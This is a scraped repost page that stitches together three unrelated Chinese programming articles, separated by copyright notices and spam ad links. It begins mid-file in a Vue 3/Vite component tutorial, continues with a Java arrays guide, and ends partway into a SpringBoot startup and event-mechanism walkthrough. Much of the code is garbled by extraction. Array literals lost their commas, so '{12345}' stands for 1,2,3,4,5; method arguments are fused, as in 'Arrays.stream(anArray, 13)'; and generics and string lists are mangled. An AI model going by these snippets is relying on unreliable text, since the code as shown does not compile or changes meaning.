  name: 'app',
  components: {
    Header,
    Footer,
  },
}
</script>

<style>
main {
  flex: 1;
}
</style>

components/cards/Aside.vue

<template>
  <aside>
    <ul>
      <li :index="item.index" v-for="item in this.$store.state.asideData" :key="item.index" ref="menuItem" @click="handleSelect(item.value)">
        <i class="fas fa-home"></i>
        <span>{{ item.value }}</span>
      </li>
    </ul>
  </aside>
</template>

<script>
import store from '../../store'

export default {
  setup(props, context) {
    return {
      handleSelect(value) {
        store.commit('setMainData', value)
      },
    }
  },
}
</script>

<style lang="scss">
aside {
  flex: 1;
  background-color: rgb(238, 238, 238);
  height: 100%;
  li {
    display: flex;
    align-items: center;
    height: 56px;
    line-height: 56px;
    font-size: 14px;
    color: #303133;
    padding: 0 1.4rem;
    list-style: none;
    cursor: pointer;
    transition: border-color 0.3s, background-color 0.3s, color 0.3s;
    white-space: nowrap;
    &:hover {
      background-color: rgb(224, 224, 224);
    }
  }
}

@media screen and (max-width: 768px) {
  aside {
    display: none;
    &.active {
      display: block;
    }
  }
}
</style>

components/cards/Cards.vue

<template>
  <div id="card-outer">
    <Aside />
    <section></section>
  </div>
</template>

<script>
import Aside from './Aside.vue'
import router from '../../router'

export default {
  components: {
    Aside,
  },
}
</script>

<style lang="scss">
#card-outer {
  display: flex;
  align-content: stretch;
  height: 100%;
  & > section {
    flex: 8;
  }
}

.main-card {
  margin: 10px 0;
  cursor: pointer;
  .main-card-content {
    display: flex;
    align-items: center;
    img {
      width: 30px;
      height: 30px;
      margin-right: 10px;
    }
    .main-card-content-info {
      width: 90%;
      h3 {
        font-size: 14px;
      }
      p {
        font-size: 12px;
        color: #888ea2;
        white-space: nowrap;
        text-overflow: ellipsis;
        overflow: hidden;
        width: 100%;
        line-height: 1.8;
      }
    }
    span {
      margin-left: 10px;
      text-decoration: none;
      &:nth-of-type(1) {
        font-size: 18px;
        font-weight: 700;
        color: #ffa502;
        white-space: nowrap;
      }
      &:nth-of-type(2) {
        font-size: 14px;
        white-space: nowrap;
        overflow: hidden;
        text-overflow: ellipsis;
      }
    }
  }
}
</style>

components/home/Home.vue

<template>
  <section id="search">
    <div class="search-sources" style="margin-bottom: 10px;">
      <span size="mini" type="primary" v-for="(item, index) in source" @click="changeSource(item.name)" :key="index" :style="`background:${item.color};border-color:${item.color}`"
        >{{ item.name }}
      </span>
    </div>
    <div class="searchbox" :class="searchbarStyle.className">
      <input :placeholder="searchbarStyle.placeholder" v-model="searchValue" clearable v-on:keyup.enter="submit" />
      <button @click="submit" slot="append" icon="el-icon-search">
        <i class="fas fa-search"></i>
      </button>
    </div>
  </section>
</template>

<script>
export default {
  data: () => ({
    baseUrl: 'https://www.baidu.com/s?ie=UTF-8&wd=',
    searchValue: '',
    searchbarStyle: {
      className: 'baidu',
      placeholder: '百度一下,你就知道',
    },
    source: [
      {
        name: '百度',
        color: '#2932E1',
      },
      {
        name: '搜狗',
        color: '#FF6F17',
      },
      {
        name: 'Bing',
        color: '#0c8484',
      },
      {
        name: 'Google',
        color: '#4285F4',
      },
      {
        name: 'NPM',
        color: '#EA4335',
      },
    ],
  }),
  methods: {  // 可以在 vue3 中使用 options API
    changeSource(name) {
      const actions = new Map([
        [
          '百度',
          () => {
            this.baseUrl = 'https://www.baidu.com/s?ie=UTF-8&wd='
            this.searchbarStyle = {
              className: 'baidu',
              placeholder: '百度一下,你就知道',
            }
          },
        ],
        [
          'Bing',
          () => {
            this.baseUrl = 'https://cn.bing.com/search?FORM=BESBTB&q='
            this.searchbarStyle = {
              className: 'bing',
              placeholder: '必應搜索',
            }
          },
        ],
        [
          '搜狗',
          () => {
            this.baseUrl = 'https://www.sogou.com/web?query='
            this.searchbarStyle = {
              className: 'sougou',
              placeholder: '搜狗搜索',
            }
          },
        ],
        [
          'Google',
          () => {
            this.baseUrl = 'https://www.google.com/search?q='
            this.searchbarStyle = {
              className: 'google',
              placeholder: 'Google Search',
            }
          },
        ],
        [
          'NPM',
          () => {
            this.baseUrl = 'https://www.npmjs.com/search?q='
            this.searchbarStyle = {
              className: 'npm',
              placeholder: 'Search Packages',
            }
          },
        ],
      ])
      actions.get(name)()
    },
    submit() {
      const url = this.baseUrl + this.searchValue
      window.open(url)
    },
  },
}
</script>

<style lang="scss">
#search {
  display: flex;
  flex-direction: column;
  justify-content: center;
  align-content: stretch;
  margin: 0 auto;
  height: 40vh;
  width: 40%;
  & > div {
    display: flex;
  }
}

.search-sources {
  span {
    margin-right: 0.5rem;
    padding: 0.4rem 0.6rem;
    color: #fff;
    font-size: 14px;
    line-height: 14px;
    border-radius: 2px;
    &:hover {
      filter: contrast(80%);
      transition: 0.3s;
    }
  }
}

.searchbox {
  padding-left: 1rem;
  height: 2.6rem;
  border-radius: 6px;
  background-color: #fff;
  border: 1px #ccc solid;
  box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);

  input {
    flex: 7;
    border: none;
    font-size: 1rem;
  }

  button {
    flex: 1;
    i {
      margin-right: 0;
    }
  }
}

$sources-color: (
  baidu: #2932e1,
  bing: #0c8484,
  sougou: #ff6f17,
  google: #4285f4,
  npm: #ea4335,
);

$source-list: baidu bing sougou google npm;

@each $source in $source-list {
  .#{$source} {
    &:hover {
      border-color: map-get($sources-color, $source);
      box-shadow: 0 2px 4px map-get($sources-color, $source);
      transition: all 0.5s;
    }
    input {
      &:hover {
        border-color: map-get($sources-color, $source);
      }
    }
  }
}

@media screen and (max-width: 768px) {
  #search {
    width: 90%;
  }
}
</style>

components/Header.vue

<template>
  <header>
    <ul class="nav">
      <li @click="handleSelect('home')">
        <i class="fas fa-home"></i>
        <span>首頁</span>
      </li>
      <li @click="handleSelect('tools')">
        <i class="fas fa-tools"></i>
        <span>工具</span>
      </li>
      <li @click="handleSelect('docs')">
        <i class="fas fa-file-alt"></i>
        <span>文檔</span>
      </li>
      <li @click="handleSelect('community')">
        <i class="fas fa-comment-dots"></i>
        <span>社區</span>
      </li>
    </ul>
    <MobileMenu />
  </header>
</template>

<script>
import MobileMenu from './MobileMenu.vue'
import store from '../store'
import router from '../router'

export default {
  components: {
    MobileMenu,
  },

  setup() {
    const handleSelect = item => {
      store.commit('setAsideData', item)
      if (item === 'home') {
        router.replace({name: 'home'})
      } else {
        const actions = {
          tools: ['setMainData', '前端工具'],
          docs: ['setMainData', 'vue'],
          community: ['setMainData', '博客'],
        }
        store.commit(actions[item][0], actions[item][1])
        router.replace({name: 'cards'})
      }
    }

    return {
      handleSelect,
    }
  },
}
</script>

<style lang="scss">
header {
  display: flex;
  height: 60px;
  align-content: stretch;
  padding: 0 9.5rem;
}

.nav {
  display: flex;
  align-items: center;
  align-content: stretch;
  li {
    padding: 0.5rem 0.75rem;
    &:hover {
      background-color: #f3f1f1;
      & span {
        color: #3273dc;
      }
    }
  }
}

@media screen and (max-width: 768px) {
  header {
    padding: 0;
  }
}
</style>

components/MobileMenu.vue

<template>
  <section id="mobile-menu">
    <div id="navbarBurger" class="navbar-burger burger" data-target="navMenuMore" :class="{active}" @click="sideToggle">
      <span></span>
      <span></span>
      <span></span>
    </div>
  </section>
</template>

<script>
export default {
  data: () => ({
    active: false,
  }),
  methods: {
    sideToggle() {
      this.active = !this.active
      const classList = document.querySelectorAll('aside')[0].classList
      this.active ? classList.add('active') : classList.remove('active')
    },
  },
}
</script>

<style lang="scss">
#mobile-menu {
  display: none;
  position: absolute;
  right: 0;
  top: 0;
  z-index: 999999;
}

@media screen and (max-width: 768px) {
  #mobile-menu {
    display: block;
    .navbar-burger {
      position: relative;
      color: #835656;
      cursor: pointer;
      height: 60px;
      width: 60px;
      margin-left: auto;
      span {
        background-color: #333;
        display: block;
        height: 1px;
        left: calc(50% - 8px);
        position: absolute;
        transform-origin: center;
        transition-duration: 86ms;
        transition-property: background-color, opacity, transform;
        transition-timing-function: ease-out;
        width: 16px;
        &:nth-child(1) {
          top: calc(50% - 6px);
        }
        &:nth-child(2) {
          top: calc(50% - 1px);
        }
        &:nth-child(3) {
          top: calc(50% + 4px);
        }
      }
      &.active {
        span {
          &:nth-child(1) {
            transform: translateY(5px) rotate(45deg);
          }
          &:nth-child(2) {
            opacity: 0;
          }
          &:nth-child(3) {
            transform: translateY(-5px) rotate(-45deg);
          }
        }
      }
    }
  }
}
</style>

最後

一套流程下來,vite 給我的感覺就是“快”。對於 vue 周邊, API 都是做了一些簡化,如果你對 esm 有些了解,將更有利於組織項目,可讀性相比 vue2.x 也更高。也有一些問題,限於篇幅,本文沒有探討。做項目還是上 vue2.x 及其周邊。另外,我沒找到 vue3 組件庫。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

Java 數組最佳指南,快收藏讓它吃灰

兩年前,我甚至寫過一篇文章,吐槽數組在 Java 中挺雞肋的,因為有 List 誰用數組啊,現在想想那時候的自己好幼稚,好可笑。因為我只看到了表面現象,實際上呢,List 的內部仍然是通過數組實現的,比如說 ArrayList,在它的源碼里可以看到下面這些內容:

/**
 * The array buffer into which the elements of the ArrayList are stored.
 * The capacity of the ArrayList is the length of this array buffer. Any
 * empty ArrayList with elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA
 * will be expanded to DEFAULT_CAPACITY when the first element is added.
 */

transient Object[] elementData; // non-private to simplify nested class access

/**
 * The size of the ArrayList (the number of elements it contains).
 *
 * @serial
 */

private int size;

數組在 Java 中,必須算是核心,神一般的存在。

01、什麼是數組

按照 Javadoc 給出的解釋,數組是一個對象,它包含了一組固定數量的元素,並且這些元素的類型是相同的。數組會按照索引的方式將元素放在指定的位置上,意味着我們可以通過索引來訪問到這些元素。在 Java 中,索引是從 0 開始的。

我們可以將數組理解為一個個整齊排列的單元格,每個單元格裏面存放着一個元素。

數組元素的類型可以是基本數據類型(比如說 int、double),也可以是引用數據類型(比如說 String),包括自定義類型的對象。

了解了數組的定義后,讓我們來深入地研究一下數組的用法。

在 Java 中,數組的聲明方式有兩種。

先來看第一種:

int[] anArray;

再來看第二種:

int anOtherArray[];

不同之處就在於中括號的位置,是緊跟類型,還是放在變量名的後面。前者比後者的使用頻率更高一些。

接下來就該看看怎麼初始化數組了,同樣有多種方式可以初始化數組,比如說最常見的是:

int[] anArray = new int[10];

使用了 new 關鍵字,對吧?這就意味着數組的確是一個對象。然後,在方括號中指定了數組的長度,這是必須的。

這時候,數組中的每個元素都會被初始化為默認值,int 類型的就為 0,Object 類型的就為 null。

另外,還可以使用大括號的方式,直接初始化數組中的元素:

int anOtherArray[] = new int[] {12345};

這時候,數組的元素分別是 1、2、3、4、5,索引依次是 0、1、2、3、4。

02、訪問數組

前面提到過,可以通過索引來訪問數組的元素,就像下面這樣:

anArray[0] = 10;
System.out.println(anArray[0]);

通過數組的變量名,加上中括號,加上元素的索引,就可以訪問到數組,通過“=”操作符進行賦值。

如果索引的值超出了數組的界限,就會拋出 ArrayIndexOutOfBoundException,關於這方面的知識,我之前特意寫過一篇文章,如果你感興趣的話,可以跳轉過去看看。

為什麼會發生ArrayIndexOutOfBoundsException

我覺得原因挺有意思的。

既然數組的索引是從 0 開始,那就是到數組的 length - 1 結束,不要使用超出這個範圍內的索引訪問數組,就不會拋出數組越界的異常了。

03、遍曆數組

當數組的元素非常多的時候,逐個訪問數組就太辛苦了,所以需要通過遍歷的方式。

第一種,使用 for 循環:

int anOtherArray[] = new int[] {12345};
for (int i = 0; i < anOtherArray.length; i++) {
    System.out.println(anOtherArray[i]);
}

通過 length 屬性獲取到數組的長度,然後索引從 0 開始遍歷,就得到了數組的所有元素。

第二種,使用 for-each 循環:

for (int element : anOtherArray) {
    System.out.println(element);
}

如果不需要關心索引的話(意味着不需要修改數組的某個元素),使用 for-each 遍歷更簡潔一些。當然,也可以使用 while 和 do-while 循環。

04、可變參數

可變參數用於將任意數量的參數傳遞給方法:

void varargsMethod(String... varargs) {}

varargsMethod() 方法可以傳遞任意數量的字符串參數,可以是 0 個或者 N 個,本質上,可變參數就是通過數組實現的,為了證明這一點,我們可以通過 jad 反編譯一下字節碼:

public class VarargsDemo
{

    public VarargsDemo()
    
{
    }

    transient void varargsMethod(String as[])
    
{
    }
}

所以我們其實可以直接將數組作為參數傳遞給可變參數的方法:

VarargsDemo demo = new VarargsDemo();
String[] anArray = new String[] {"沉默王二""一枚有趣的程序員"};
demo.varargsMethod(anArray);

也可以直接傳遞多個字符串,通過逗號隔開的方式:

demo.varargsMethod("沉默王二""一枚有趣的程序員");

05、把數組轉成 List

List 封裝了很多常用的方法,方便我們對集合進行一些操作,而如果直接操作數組的話,多有不便,因此有時候我們需要把數組轉成 List。

最原始的方式,就是通過遍曆數組的方式,一個個將數組添加到 List 中。

int[] anArray = new int[] {12345};

List<Integer> aList = new ArrayList<>();
for (int element : anArray) {
    aList.add(element);
}

更優雅的方式是通過 Arrays 類的 asList() 方法:

List<Integer> aList = Arrays.asList(anArray);

但需要注意的是,該方法返回的 ArrayList 並不是 java.util.ArrayList,它其實是 Arrays 類的一個內部類:

private static class ArrayList<Eextends AbstractList<E>
        implements RandomAccessjava.io.Serializable
{}

如果需要添加元素或者刪除元素的話,最好把它轉成 java.util.ArrayList

new ArrayList<>(Arrays.asList(anArray));

06、把數組轉成 Stream

Java 8 新增了 Stream 流的概念,這就意味着我們也可以將數組轉成 Stream 進行操作,而不是 List。

String[] anArray = new String[] {"沉默王二""一枚有趣的程序員""好好珍重他"};
Stream<String> aStream = Arrays.stream(anArray);

也可以直接對數組的元素進行剪輯,通過指定索引的方式:

Stream<String> anotherStream = Arrays.stream(anArray, 13);

結果包含”一枚有趣的程序員”和”好好珍重他”,1 這個索引位置包括,3 這個索引位置不包括。

07、數組排序

Arrays 類提供了一個 sort() 方法,可以對數組進行排序。

  • 基本數據類型按照升序排列
  • 實現了 Comparable 接口的對象按照 compareTo() 的排序

來看第一個例子:

int[] anArray = new int[] {52148};
Arrays.sort(anArray);

排序后的結果如下所示:

[12458]

來看第二個例子:

String[] yetAnotherArray = new String[] {"A""E""Z""B""C"};
Arrays.sort(yetAnotherArray, 13,
                Comparator.comparing(String::toString).reversed());

只對 1-3 位置上的元素進行反序,所以結果如下所示:

[A, Z, E, B, C]

08、數組搜索

有時候,我們需要從數組中查找某個具體的元素,最直接的方式就是通過遍歷的方式:

int[] anArray = new int[] {52148};
for (int i = 0; i < anArray.length; i++) {
    if (anArray[i] == 4) {
        System.out.println("找到了 " + i);
        break;
    }
}

上例中從數組中查詢元素 4,找到后通過 break 關鍵字退出循環。

如果數組提前進行了排序,就可以使用二分查找法,這樣效率就會更高一些。Arrays.binarySearch() 方法可供我們使用,它需要傳遞一個數組,和要查找的元素。

int[] anArray = new int[] {12345};
int index = Arrays.binarySearch(anArray, 4);

09、總結

除了一維數組,還有二維數組,但說實話,二維數組不太常用,這裏就不再介紹了,感興趣的話,可以嘗試打印以下楊輝三角。

這篇文章,我們介紹了 Java 數組的基本用法和一些高級用法,我想小夥伴們應該已經完全掌握了。

我是沉默王二,一枚有趣的程序員。如果覺得文章對你有點幫助,請微信搜索「 沉默王二 」第一時間閱讀。

本文 GitHub 已經收錄,有大廠面試完整考點,歡迎 Star。

原創不易,莫要白票,請你為本文點個贊吧,這將是我寫作更多優質文章的最強動力。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

這一次搞懂SpringBoot核心原理(自動配置、事件驅動、Condition)

@

目錄

  • 前言
  • 正文
    • 啟動原理
    • 事件驅動
    • 自動配置原理
    • Condition註解原理
  • 總結

前言

SpringBoot是Spring的包裝,通過自動配置使得SpringBoot可以做到開箱即用,上手成本非常低,但是學習其實現原理的成本大大增加,需要先了解熟悉Spring原理。如果還不清楚Spring原理的,可以先查看博主之前的文章,本篇主要分析SpringBoot的啟動、自動配置、Condition、事件驅動原理。

正文

啟動原理

SpringBoot啟動非常簡單,因其內置了Tomcat,所以只需要通過下面幾種方式啟動即可:

@SpringBootApplication(scanBasePackages = {"cn.dark"})
public class SpringbootDemo {

    public static void main(String[] args) {
    	// 第一種
        SpringApplication.run(SpringbootDemo .class, args);

		// 第二種
        new SpringApplicationBuilder(SpringbootDemo .class)).run(args);

		// 第三種
        SpringApplication springApplication = new SpringApplication(SpringbootDemo.class);
        springApplication.run();		
    }
}

可以看到第一種是最簡單的,也是最常用的方式,需要注意類上面需要標註@SpringBootApplication註解,這是自動配置的核心實現,稍後分析,先來看看SpringBoot啟動做了些什麼?
在往下之前,不妨先猜測一下,run方法中需要做什麼?對比Spring源碼,我們知道,Spring的啟動都會創建一個ApplicationContext的應用上下文對象,並調用其refresh方法啟動容器,SpringBoot只是Spring的一層殼,肯定也避免不了這樣的操作。另一方面,以前通過Spring搭建的項目,都需要打成War包發布到Tomcat才行,而現在SpringBoot已經內置了Tomcat,只需要打成Jar包啟動即可,所以在run方法中肯定也會創建對應的Tomcat對象並啟動。以上只是我們的猜想,下面就來驗證,進入run方法:

	public ConfigurableApplicationContext run(String... args) {
		// 統計時間用的工具類
		StopWatch stopWatch = new StopWatch();
		stopWatch.start();
		ConfigurableApplicationContext context = null;
		Collection<SpringBootExceptionReporter> exceptionReporters = new ArrayList<>();
		configureHeadlessProperty();
		// 獲取實現了SpringApplicationRunListener接口的實現類,通過SPI機制加載
		// META-INF/spring.factories文件下的類
		SpringApplicationRunListeners listeners = getRunListeners(args);

		// 首先調用SpringApplicationRunListener的starting方法
		listeners.starting();
		try {
			ApplicationArguments applicationArguments = new DefaultApplicationArguments(args);

			// 處理配置數據
			ConfigurableEnvironment environment = prepareEnvironment(listeners, applicationArguments);
			configureIgnoreBeanInfo(environment);

			// 啟動時打印banner
			Banner printedBanner = printBanner(environment);

			// 創建上下文對象
			context = createApplicationContext();

			// 獲取SpringBootExceptionReporter接口的類,異常報告
			exceptionReporters = getSpringFactoriesInstances(SpringBootExceptionReporter.class,
					new Class[] { ConfigurableApplicationContext.class }, context);

			prepareContext(context, environment, listeners, applicationArguments, printedBanner);

			// 核心方法,啟動spring容器
			refreshContext(context);
			afterRefresh(context, applicationArguments);

			// 統計結束
			stopWatch.stop();
			if (this.logStartupInfo) {
				new StartupInfoLogger(this.mainApplicationClass).logStarted(getApplicationLog(), stopWatch);
			}
			// 調用started
			listeners.started(context);

			// ApplicationRunner
			// CommandLineRunner
			// 獲取這兩個接口的實現類,並調用其run方法
			callRunners(context, applicationArguments);
		}
		catch (Throwable ex) {
			handleRunFailure(context, ex, exceptionReporters, listeners);
			throw new IllegalStateException(ex);
		}

		try {
			// 最後調用running方法
			listeners.running(context);
		}
		catch (Throwable ex) {
			handleRunFailure(context, ex, exceptionReporters, null);
			throw new IllegalStateException(ex);
		}
		return context;
	}

SpringBoot的啟動流程就是這個方法,先看getRunListeners方法,這個方法就是去拿到所有的SpringApplicationRunListener實現類,這些類是用於SpringBoot事件發布的,關於事件驅動稍後分析,這裏主要看這個方法的實現原理:

	private SpringApplicationRunListeners getRunListeners(String[] args) {
		Class<?>[] types = new Class<?>[] { SpringApplication.class, String[].class };
		return new SpringApplicationRunListeners(logger,
				getSpringFactoriesInstances(SpringApplicationRunListener.class, types, this, args));
	}

	private <T> Collection<T> getSpringFactoriesInstances(Class<T> type, Class<?>[] parameterTypes, Object... args) {
		ClassLoader classLoader = getClassLoader();
		// Use names and ensure unique to protect against duplicates
		Set<String> names = new LinkedHashSet<>(SpringFactoriesLoader.loadFactoryNames(type, classLoader));
		// 加載上來后反射實例化
		List<T> instances = createSpringFactoriesInstances(type, parameterTypes, classLoader, args, names);
		AnnotationAwareOrderComparator.sort(instances);
		return instances;
	}

	public static List<String> loadFactoryNames(Class<?> factoryType, @Nullable ClassLoader classLoader) {
		String factoryTypeName = factoryType.getName();
		return loadSpringFactories(classLoader).getOrDefault(factoryTypeName, Collections.emptyList());
	}

	public static final String FACTORIES_RESOURCE_LOCATION = "META-INF/spring.factories";

	private static Map<String, List<String>> loadSpringFactories(@Nullable ClassLoader classLoader) {
		MultiValueMap<String, String> result = cache.get(classLoader);
		if (result != null) {
			return result;
		}

		try {
			Enumeration<URL> urls = (classLoader != null ?
					classLoader.getResources(FACTORIES_RESOURCE_LOCATION) :
					ClassLoader.getSystemResources(FACTORIES_RESOURCE_LOCATION));
			result = new LinkedMultiValueMap<>();
			while (urls.hasMoreElements()) {
				URL url = urls.nextElement();
				UrlResource resource = new UrlResource(url);
				Properties properties = PropertiesLoaderUtils.loadProperties(resource);
				for (Map.Entry<?, ?> entry : properties.entrySet()) {
					String factoryTypeName = ((String) entry.getKey()).trim();
					for (String factoryImplementationName : StringUtils.commaDelimitedListToStringArray((String) entry.getValue())) {
						result.add(factoryTypeName, factoryImplementationName.trim());
					}
				}
			}
			cache.put(classLoader, result);
			return result;
		}
	}

一步步追蹤下去可以看到最終就是通過SPI機制根據接口類型從META-INF/spring.factories文件中加載對應的實現類並實例化,SpringBoot的自動配置也是這樣實現的。為什麼要這樣實現呢?通過註解掃描不可以么?當然不行,這些類都在第三方jar包中,註解掃描實現是很麻煩的,當然你也可以通過@Import註解導入,但是這種方式不適合擴展類特別多的情況,所以這裏採用SPI的優點就顯而易見了。
回到run方法中,可以看到調用了createApplicationContext方法,見名知意,這個就是去創建應用上下文對象:

	public static final String DEFAULT_SERVLET_WEB_CONTEXT_CLASS = "org.springframework.boot."
			+ "web.servlet.context.AnnotationConfigServletWebServerApplicationContext";

	protected ConfigurableApplicationContext createApplicationContext() {
		Class<?> contextClass = this.applicationContextClass;
		if (contextClass == null) {
			try {
				switch (this.webApplicationType) {
				case SERVLET:
					contextClass = Class.forName(DEFAULT_SERVLET_WEB_CONTEXT_CLASS);
					break;
				case REACTIVE:
					contextClass = Class.forName(DEFAULT_REACTIVE_WEB_CONTEXT_CLASS);
					break;
				default:
					contextClass = Class.forName(DEFAULT_CONTEXT_CLASS);
				}
			}
			catch (ClassNotFoundException ex) {
				throw new IllegalStateException(
						"Unable create a default ApplicationContext, please specify an ApplicationContextClass", ex);
			}
		}
		return (ConfigurableApplicationContext) BeanUtils.instantiateClass(contextClass);
	}

注意這裏通過反射實例化了一個新的沒見過的上下文對象AnnotationConfigServletWebServerApplicationContext,這個是SpringBoot擴展的,看看其構造方法:

	public AnnotationConfigServletWebServerApplicationContext() {
		this.reader = new AnnotatedBeanDefinitionReader(this);
		this.scanner = new ClassPathBeanDefinitionScanner(this);
	}

如果你有看過Spring註解驅動的實現原理,這兩個對象肯定不會陌生,一個實支持註解解析的,另外一個是掃描包用的。
上下文創建好了,下一步自然就是調用refresh方法啟動容器:


	private void refreshContext(ConfigurableApplicationContext context) {
		refresh(context);
		if (this.registerShutdownHook) {
			try {
				context.registerShutdownHook();
			}
			catch (AccessControlException ex) {
				// Not allowed in some environments.
			}
		}
	}

	protected void refresh(ApplicationContext applicationContext) {
		Assert.isInstanceOf(AbstractApplicationContext.class, applicationContext);
		((AbstractApplicationContext) applicationContext).refresh();
	}

這裏首先會調用到其父類中ServletWebServerApplicationContext

	public final void refresh() throws BeansException, IllegalStateException {
		try {
			super.refresh();
		}
		catch (RuntimeException ex) {
			stopAndReleaseWebServer();
			throw ex;
		}
	}

可以看到是直接委託給了父類:

	public void refresh() throws BeansException, IllegalStateException {
		synchronized (this.startupShutdownMonitor) {
			// Prepare this context for refreshing.
			prepareRefresh();

			// Tell the subclass to refresh the internal bean factory.
			ConfigurableListableBeanFactory beanFactory = obtainFreshBeanFactory();

			// Prepare the bean factory for use in this context.
			prepareBeanFactory(beanFactory);

			try {
				// Allows post-processing of the bean factory in context subclasses.
				postProcessBeanFactory(beanFactory);

				// Invoke factory processors registered as beans in the context.
				invokeBeanFactoryPostProcessors(beanFactory);

				// Register bean processors that intercept bean creation.
				registerBeanPostProcessors(beanFactory);

				// Initialize message source for this context.
				initMessageSource();

				// Initialize event multicaster for this context.
				initApplicationEventMulticaster();

				// Initialize other special beans in specific context subclasses.
				onRefresh();

				// Check for listener beans and register them.
				registerListeners();

				// Instantiate all remaining (non-lazy-init) singletons.
				finishBeanFactoryInitialization(beanFactory);

				// Last step: publish corresponding event.
				finishRefresh();
			}

			catch (BeansException ex) {
				if (logger.isWarnEnabled()) {
					logger.warn("Exception encountered during context initialization - " +
							"cancelling refresh attempt: " + ex);
				}

				// Destroy already created singletons to avoid dangling resources.
				destroyBeans();

				// Reset 'active' flag.
				cancelRefresh(ex);

				// Propagate exception to caller.
				throw ex;
			}

			finally {
				// Reset common introspection caches in Spring's core, since we
				// might not ever need metadata for singleton beans anymore...
				resetCommonCaches();
			}
		}
	}

這個方法不會陌生吧,之前已經分析過了,這裏不再贅述,至此SpringBoot的容器就啟動了,但是Tomcat啟動是在哪裡呢?run方法中也沒有看到。實際上Tomcat的啟動也是在refresh流程中,這個方法其中一步是調用了onRefresh方法,在Spring中這是一個沒有實現的模板方法,而SpringBoot就通過這個方法完成了Tomcat的啟動:

	protected void onRefresh() {
		super.onRefresh();
		try {
			createWebServer();
		}
		catch (Throwable ex) {
			throw new ApplicationContextException("Unable to start web server", ex);
		}
	}

	private void createWebServer() {
		WebServer webServer = this.webServer;
		ServletContext servletContext = getServletContext();
		if (webServer == null && servletContext == null) {
			ServletWebServerFactory factory = getWebServerFactory();
			// 主要看這個方法
			this.webServer = factory.getWebServer(getSelfInitializer());
		}
		else if (servletContext != null) {
			try {
				getSelfInitializer().onStartup(servletContext);
			}
			catch (ServletException ex) {
				throw new ApplicationContextException("Cannot initialize servlet context", ex);
			}
		}
		initPropertySources();
	}

這裏首先拿到TomcatServletWebServerFactory對象,通過該對象再去創建和啟動Tomcat:

	public WebServer getWebServer(ServletContextInitializer... initializers) {
		if (this.disableMBeanRegistry) {
			Registry.disableRegistry();
		}
		Tomcat tomcat = new Tomcat();
		File baseDir = (this.baseDirectory != null) ? this.baseDirectory : createTempDir("tomcat");
		tomcat.setBaseDir(baseDir.getAbsolutePath());
		Connector connector = new Connector(this.protocol);
		connector.setThrowOnFailure(true);
		tomcat.getService().addConnector(connector);
		customizeConnector(connector);
		tomcat.setConnector(connector);
		tomcat.getHost().setAutoDeploy(false);
		configureEngine(tomcat.getEngine());
		for (Connector additionalConnector : this.additionalTomcatConnectors) {
			tomcat.getService().addConnector(additionalConnector);
		}
		prepareContext(tomcat.getHost(), initializers);
		return getTomcatWebServer(tomcat);
	}

上面的每一步都可以對比Tomcat的配置文件,需要注意默認只支持了http協議:

	Connector connector = new Connector(this.protocol);

	private String protocol = DEFAULT_PROTOCOL;
	public static final String DEFAULT_PROTOCOL = "org.apache.coyote.http11.Http11NioProtocol";

如果想要擴展的話則可以對additionalTomcatConnectors屬性設置值,需要注意這個屬性沒有對應的setter方法,只有addAdditionalTomcatConnectors方法,也就是說我們只能通過實現BeanFactoryPostProcessor接口的postProcessBeanFactory方法,而不能通過BeanDefinitionRegistryPostProcessorpostProcessBeanDefinitionRegistry方法,因為前者可以通過傳入的BeanFactory對象提前獲取到TomcatServletWebServerFactory對象調用addAdditionalTomcatConnectors即可;而後者只能拿到BeanDefinition對象,該對象只能通過setter方法設置值。

事件驅動

Spring原本就提供了事件機制,而在SpringBoot中又對其進行擴展,通過發布訂閱事件在容器的整個生命周期的不同階段進行不同的操作。我們先來看看SpringBoot啟動關閉的過程中默認會發布哪些事件,使用下面的代碼即可:

@SpringBootApplication
public class SpringEventDemo {

    public static void main(String[] args) {
        new SpringApplicationBuilder(SpringEventDemo.class)
                .listeners(event -> {
                    System.err.println("接收到事件:" + event.getClass().getSimpleName());
                })
                .run()
                .close();
    }

}

這段代碼會在控制台打印所有的事件名稱,按照順序如下:

  • ApplicationStartingEvent:容器啟動
  • ApplicationEnvironmentPreparedEvent:環境準備好
  • ApplicationContextInitializedEvent:上下文初始化完成
  • ApplicationPreparedEvent:上下文準備好
  • ContextRefreshedEvent:上下文刷新完
  • ServletWebServerInitializedEvent:webServer初始化完成
  • ApplicationStartedEvent:容器啟動完成
  • ApplicationReadyEvent:容器就緒
  • ContextClosedEvent:容器關閉

以上是正常啟動關閉,如果發生異常還有發布ApplicationFailedEvent事件。事件的發布遍布在整個容器的啟動關閉周期中,事件發布對象剛剛我們也看到了是通過SPI加載的SpringApplicationRunListener實現類EventPublishingRunListener,同樣事件監聽器也是在spring.factories文件中配置的,默認實現了以下監聽器:

org.springframework.context.ApplicationListener=\
org.springframework.boot.ClearCachesApplicationListener,\
org.springframework.boot.builder.ParentContextCloserApplicationListener,\
org.springframework.boot.cloud.CloudFoundryVcapEnvironmentPostProcessor,\
org.springframework.boot.context.FileEncodingApplicationListener,\
org.springframework.boot.context.config.AnsiOutputApplicationListener,\
org.springframework.boot.context.config.ConfigFileApplicationListener,\
org.springframework.boot.context.config.DelegatingApplicationListener,\
org.springframework.boot.context.logging.ClasspathLoggingApplicationListener,\
org.springframework.boot.context.logging.LoggingApplicationListener,\
org.springframework.boot.liquibase.LiquibaseServiceLocatorApplicationListener

可以看到有用於文件編碼的(FileEncodingApplicationListener),有加載日誌框架的(LoggingApplicationListener),還有加載配置的(ConfigFileApplicationListener)等等一系列監聽器,SpringBoot也就是通過這系列監聽器將必要的配置和組件加載到容器中來,這裏不再詳細分析,感興趣的讀者可以通過其實現的onApplicationEvent方法看到每個監聽器究竟是監聽的哪一個事件,當然事件發布和監聽我們自己也是可以擴展的。

自動配置原理

